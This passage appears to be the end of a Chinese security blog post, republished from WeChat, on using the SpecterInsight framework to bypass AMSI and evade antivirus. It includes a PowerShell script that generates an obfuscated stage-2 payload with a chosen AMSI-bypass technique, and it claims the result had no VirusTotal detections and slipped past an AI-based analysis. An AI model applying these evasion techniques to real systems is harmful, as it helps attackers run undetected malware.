param(  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed')$script = Get-Payload -Pipeline 'specter_stage_2' -AsString -PipelineArgs @{  StringObfuscationTechnique = $StringObfuscationTechnique;  AmsiBypassTechnique = $AmsiBypassTechnique;};$script | Out-PwshCommand;

此阶段的参数块为 Payload Pipeline 参数生成了一个漂亮的 GUI,甚至生成了一个漂亮的下拉菜单,其中包含 PwshStringObfuscationTechnique 和 PwshAmsiBypassTechnique 枚举中的所有枚举技术,如下所示:

使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

结果

将该脚本提交给 VirusTotal 不会产生任何检测结果,并且可以毫无问题地在 Windows Defender 上运行。

话虽如此,NICS 实验室注意到该脚本有几个可疑之处:

“此外,代码中还包括混淆的字符串和函数,例如‘Compress-Block3’和‘Wait-Exporter’,这些似乎是为了隐藏其真实目的。”

这对我来说意味着两件事:

人工智能还无法看穿这种混淆……目前为止。

在不久的将来,LLM 与 AV 的集成将成为脚本有效载荷面临的巨大挑战。

使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

结论

这篇关于构建杀伤链以逃避 AV 并将 .NET 二进制文件加载到内存的文章到此结束。希望这篇文章能帮助您了解当前逃避基于主机的防御所面临的一些挑战,以及如何通过仔细选择正确的策略和技术以及正确的混淆方法来逃避检测,从而克服这些挑战。

原文始发于微信公众号(Ots安全):使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月4日22:05:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测https://cn-sec.com/archives/3796022.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息